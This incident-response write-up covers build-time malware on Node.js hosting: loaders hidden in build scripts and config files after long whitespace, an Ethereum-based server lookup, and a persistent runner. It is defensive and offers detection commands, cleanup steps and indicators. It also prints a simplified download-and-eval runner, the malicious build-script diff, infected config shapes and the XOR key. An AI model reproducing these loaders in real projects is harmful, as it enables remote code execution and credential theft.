The account hosted several small Node.js sites: a couple of Vite front ends and a few Next.js apps. They were deployed the normal way: the platform pulls the repository, runs npm run build, and serves the output. Nothing looked wrong on the websites themselves. No defacement, no redirects, no spam.
The malware was not in the websites. It was in the build. Every time one of those apps was built, a hidden loader ran first. It looked up its command server in an Ethereum transaction, downloaded encrypted JavaScript, and ran it. It also left behind a small runner in the home directory that kept fetching new code on its own.
The interesting part is where it hid. One app had an extra file called init and a one-word change in package.json. Others had no extra file at all: the loader sat inside tailwind.config.js, postcss.config.mjs or eslint.config.mjs, pushed hundreds of spaces to the right of a perfectly normal last line. Open those files in an editor without word wrap and they look clean.
This article walks through each piece, shows read-only commands to find it, and lists the cleanup order that actually holds. Everything is sanitized: no client names, domains, IPs or wallet addresses.
🧩 The short version
- Trigger 1, build script:
"build": "node init && vite build"or"node api.js && next build". The real build still runs, so the site deploys normally. - Trigger 2, config files: a loader appended to the last line of
tailwind.config.js,postcss.config.mjsoreslint.config.mjs, after 266 tabs or about 1,000 spaces. These files are loaded by every build, sopackage.jsondoes not need to change at all. - C2 lookup: the loader reads the latest transaction of a hard-coded Ethereum wallet. The transaction data holds the address of the command server. Changing servers costs the attacker one transaction. No domain to take down.
- Payload: plain HTTP to port 443, path
/0x/cls, a customSec-Vheader, a 16-byte XOR key, theneval. A second payload from/0x/lsstarts a detachednode -eprocess that outlives the build. - Persistence:
~/.node_modules/.npm-ws-runner.jsplus a small JSON config and a PID file. The dot-folder looks like something npm would create. npm does not create it. - Also found: the payload copied into a compiled
.nextbuild chunk, and five Python packages installed withpip --userin the same minute the runner was created.
🧨 Trigger 1: one word in package.json
The first thing to check in any Node.js compromise is the scripts block. Here is a diff of the change, as it looked in two of the apps:
"scripts": {
- "build": "vite build",
+ "build": "node init && vite build",
"dev": "vite"
}
The && matters. If the loader fails, the build stops, and someone notices. So the loader catches every error and always exits cleanly, and the real build runs right after it. From the deploy log you only see the normal Vite or Next.js output.
The file it runs is called init, with no extension. That is a deliberate choice: it looks like a project bootstrap script, and many file-type filters only look at *.js. Node.js does not care about the extension. It runs the file because the build script tells it to.
🎭 The decoy: a file that looks like a helper
Open init and the first 32 lines are an ordinary, slightly boring utility. Shortened:
'use strict';
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const path = require('path');
const fs = require('fs');
const state = { root: process.cwd(), env: process.env.NODE_ENV || 'development', ready: false };
function init(options) {
if (state.ready) return state;
// ... sets env, creates a .tmp folder, returns state ...
}
init();
A reviewer skimming this sees a setup helper and moves on. The last line is where the payload lives. After init(); there are 774 spaces, then about 12 KB of obfuscated JavaScript on the same line:
init(); ...774 spaces... var z='-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0", ...
In an editor with word wrap off, the line ends at init();. In a narrow GitHub diff view, it also looks like it ends there unless you scroll sideways. cat in a terminal shows a blank stretch, then wraps the payload onto lines that look like noise.
🎨 Trigger 2: the config files
The more interesting variant needs no new file and no package.json change. Build tools load their config files on every build, so a loader inside the config runs every time too. We found it in three kinds:
tailwind.config.js(Vite apps)postcss.config.mjs(Next.js apps)eslint.config.mjs(Next.js runs ESLint duringnext build)
Each injection has two parts. At the top of the file, two lines are added:
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
Modern config files are ES modules, where require does not exist. The payload is written for CommonJS (require('http'), require('child_process')), so the attacker recreates require first. Legitimate Tailwind or PostCSS configs almost never need createRequire. That alone is a good reason to look closer.
The second part is on the last line. Here is a clean PostCSS config next to the shape of the infected one:
// clean
const config = {
plugins: {
"@tailwindcss/postcss": {},
},
};
export default config;
// infected (shape)
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const config = {
plugins: {
"@tailwindcss/postcss": {},
},
};
export default config; ...997 spaces... function GSkq...(){const etOZ...=['bcbdaff1','f3fdfdfa', ... 25 KB ...
The Tailwind variant did the same with 266 tab characters after the closing }; instead of spaces. Tabs are even less visible, because many editors render a run of tabs as one wide gap.
Two things make this variant nasty during cleanup:
- Removing
initand fixingpackage.jsonis not enough. The config files still run the loader on the next build. - The file is legitimate. You cannot delete
tailwind.config.jswithout breaking the site. The fix is surgical: remove the two added lines at the top and everything after the real last statement, then check the file is still valid.
⛓️ Finding the server through a blockchain transaction
We decoded the payloads statically and never ran them. Each loader carries an Ethereum wallet address, encoded in an XOR-obfuscated string table. When it starts, it:
- asks a public blockchain API for the latest transaction sent from that wallet;
- reads the transaction's input data, which decodes to two IP addresses;
- uses the first as the primary server and the second as a fallback.
This is a dead drop. The blockchain is public and cannot be taken offline, and nothing in the loader points at a domain or an IP that a defender could block in advance. When a server is taken down, the operator sends one new transaction and every loader moves on the next build. We saw two different wallets in the same account: four files used one, and two files used the other.
Then the loader talks to the server:
GET http://<ip-from-transaction>:443/0x/cls header Sec-V: <campaign tag>
GET http://<ip-from-transaction>:443/0x/ls header Sec-V: <campaign tag>
Note the plain http:// on port 443. It is not TLS. Firewalls that allow "443 out" let it pass, and anything that only looks at TLS metadata sees nothing useful. Each response is XOR-decoded with a 16-byte key. The first is passed to eval inside the build process. The second is started as a detached node -e child, so it keeps running after the build finishes. The parent is gone, which is why such a process shows up with parent PID 1.
📁 The runner in ~/.node_modules
The home directory had a folder that looked routine at a glance:
~/.node_modules/
.npm-ws-runner.js 1.5 KB the runner
.npm-ws.json 86 B config: _V (campaign tag), _t_s / _t_u (server URLs)
.npm-ws.pid 7 B PID of the running copy
package.json 85 B axios + socket.io-client (legitimate packages)
node_modules/ those two packages
npm uses node_modules inside a project, and ~/.npm for its cache. A dotted ~/.node_modules in the home directory is not something npm makes. The runner is short enough to read in full. Simplified, with the server and key removed:
const pidPath = path.join(os.homedir(), ".node_modules", ".npm-ws.pid");
if (alive(pidPath)) return; // only one copy at a time
fs.writeFileSync(pidPath, String(process.pid));
const c = JSON.parse(fs.readFileSync(path.join(os.homedir(), ".node_modules", ".npm-ws.json")));
global.r = require; global.m = module; // hand require/module to the payload
function dec(buf) { // 16-byte repeating XOR
for (let i = 0; i < buf.length; i++) buf[i] ^= KEY.charCodeAt(i % KEY.length);
return buf.toString("utf8");
}
(async () => { eval(dec(await get("/0x/cls"))); })() // header Sec-V: c._V
.catch(e => fs.appendFileSync(path.join(os.homedir(), ".node_modules", ".npm-ws.log"), String(e) + "\n"));
setInterval(() => {}, 60000); // keep the process alive
It is a pure download-and-execute shell. The runner itself contains no malicious logic beyond that, which is exactly why it can stay on disk for weeks. Whatever it does on a given day is decided by the server. The two npm packages beside it give the downloaded code an HTTP client and a WebSocket client without having to bring its own.
🐍 Python packages nobody asked for
The user's ~/.local Python folder had five packages, all installed with pip install --user within the same few seconds, in the same minute the runner file was created:
SecretStorageandjeepney: read the Linux desktop keyring (Secret Service over D-Bus)pyzipper: create AES-encrypted ZIP filespycryptodomex: general cryptographyportalocker: file locking, so only one copy runs
All five are legitimate, widely used libraries, and none of them was modified. Together, on a web hosting account that has no Python app and no desktop keyring, they are what a credential collector would install: read stored secrets, pack them into an encrypted archive, avoid running twice. No implant script was left on this account. The timing, not the packages themselves, is what ties them to the intrusion. We backed them up and removed them.
🏗️ Do not forget the build output
One Next.js app had already been built while infected. Its compiled output contained a chunk, .next/build/chunks/[root-of-the-server]__….js, with the PostCSS payload bundled in, plus a source map pointing at it. The bundler had simply included the config file's code.
Build output is regenerated on the next build, so it is easy to dismiss. But until that next build it is still executable code on the server. Remove it together with the sources, or rebuild from a clean tree.
🔍 Read-only detection
None of these commands change anything. Run them as the account user, from the home directory, and adjust the path to wherever your platform keeps the checked-out source and build trees. Exclude node_modules unless you have time to wait.
1. Build scripts that run something before the real build.
find ~ -name package.json -not -path '*/node_modules/*' 2>/dev/null \
| xargs grep -nE '"(pre)?build"\s*:\s*"node [^"]*&&' 2>/dev/null
Legitimate projects do sometimes run a script before the build. Open each hit and read what it runs.
2. Extension-less or unexpected trigger files next to package.json.
find ~ \( -name init -o -name init.js -o -path '*/init/index.js' -o -name api.js \) \
-type f -not -path '*/node_modules/*' -printf '%T+ %s %p\n' 2>/dev/null
3. Code hidden after a long run of spaces or tabs. This is the most useful single check. Normal source code almost never has 200 whitespace characters followed by more code on the same line:
grep -rlE '[;})][[:blank:]]{200,}[^[:blank:]]' ~ \
--include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts' --include='init' \
--exclude-dir=node_modules 2>/dev/null
Minified files can match too. Check the hits, but a config file or a small helper script in the list is a red flag.
4. createRequire in build tool configs.
find ~ \( -name 'tailwind.config.*' -o -name 'postcss.config.*' -o -name 'eslint.config.*' \
-o -name 'next.config.*' -o -name 'vite.config.*' \) -not -path '*/node_modules/*' 2>/dev/null \
| xargs grep -l 'createRequire' 2>/dev/null
5. Line length of config files. A PostCSS config is a few hundred bytes. If its longest line is 25,000 characters, you have your answer:
for f in $(find ~ -name '*.config.*' -not -path '*/node_modules/*' 2>/dev/null); do
awk -v f="$f" '{ if (length($0) > m) m = length($0) } END { if (m > 1000) print m, f }' "$f"
done
6. The runner, its files, and detached processes.
ls -la ~/.node_modules/ 2>/dev/null
find ~ /tmp /var/tmp -maxdepth 4 -name '.npm-ws*' 2>/dev/null
ps -u "$(id -un)" -o pid,ppid,lstart,cmd | grep -E 'node (-e|-i)|npm-ws' | grep -v grep
A node -e process with parent PID 1 and no web app attached is worth a close look.
7. Strings from the payloads.
grep -rlE "Sec-V|/0x/cls|/0x/ls|npm-ws|x-payload-b64|global\['_V'\]" ~ \
--include='*.js' --include='*.mjs' --include='*.cjs' --include='*.json' --include='init' \
--exclude-dir=node_modules 2>/dev/null
8. Unexpected user-level Python packages, by install time.
ls -la --time-style=full-iso ~/.local/lib/python3*/site-packages/ 2>/dev/null | sort -k6,7
🧹 Cleanup order that holds
- Collect evidence first. Copy every file you will touch to a folder outside the web root and record SHA-256 hashes. Config files are cleaned, not deleted, so keep the infected originals.
- Stop running copies. Look for the runner and any detached
node -eprocess, and stop them before you delete files. - [WRITE] Delete standalone files:
init/api.jstriggers, compiled chunks that contain the payload, and the whole~/.node_modulesfolder. - [WRITE] Clean config files surgically. Remove the added
createRequirelines and everything after the real last statement. Compare with the project's history if you have it. Check the result still parses:node --checkworks for.js/.mjs. - [WRITE] Restore the build scripts in every copy of
package.json, including old release folders the platform keeps. Validate the JSON afterwards. - [WRITE] Remove tooling the attacker installed, such as the user-level Python packages, after backing them up.
- Run every detection command again. All of them should return nothing.
- Fix the repository. This is the step that decides whether the cleanup lasts. The server only builds what the repository contains. If
init, the build script change or the injected configs are still in the repository, the next deployment puts everything back.
🚩 Indicators
package.jsonbuild script starting withnode init &&ornode api.js &&- An extension-less
initfile in a project root - Build tool config files containing
createRequire(import.meta.url) - A line ending in a few hundred spaces or tabs followed by more code
- Payload markers:
var NX,SX,spin,splitLane,peel;,global['!'],global['_V'],x-payload-b64 - HTTP requests to
/0x/clsor/0x/lson port 443 without TLS, with aSec-Vheader ~/.node_modules/.npm-ws-runner.js,.npm-ws.json(keys_V,_t_s,_t_u),.npm-ws.pid,.npm-ws.log- Runner XOR key
q4FZkxX{!h,Sr3=@ - A detached
node -eornode -iprocess with parent PID 1 SecretStorage,jeepney,pyzipper,portalocker,pycryptodomexinstalled together withpip --useron an account with no Python app
💡 Takeaways
- On a Node.js host, the build is code execution. Anything that runs during
npm run buildruns with the account's full rights. - Config files are code.
tailwind.config.js,postcss.config.mjsandeslint.config.mjsexecute on every build and deserve the same review as application code. - Look for long whitespace runs. A grep for 200+ spaces or tabs followed by code finds this family of injection in seconds.
- A blockchain dead drop means there is no fixed server to block. Detect the loader on disk and the behaviour (plain HTTP on 443, odd headers, detached
node -e) instead. - The cleanup is only as good as the repository. Clean the server, then make sure the source the server builds from is clean too.
❓ FAQ
Is this an npm supply-chain attack?
Not in this case. No npm package was malicious, and the two packages next to the runner were genuine. The malicious code was in the project's own files: an added trigger file, a modified build script, and injected config files. It reached the server through the project's source, and the platform's normal build ran it.
Why not just delete ~/.node_modules and redeploy?
Because the redeploy is what started it. The triggers live in the source tree. As long as they are there, every build reinstalls the runner. Clean the source first, then deploy.
Can I block the blockchain lookup?
You can block outbound access to public blockchain APIs from hosting accounts that do not need them, and that does break this loader. It is a server policy decision, not a cleanup step. Removing the loader is what actually fixes the account.
Does this affect only Next.js and Vite?
No. Any toolchain that loads a JavaScript config file during the build can carry the same injection: webpack, Rollup, Babel, Jest, Astro and others. The detection commands above look at all config files, not just the three we found.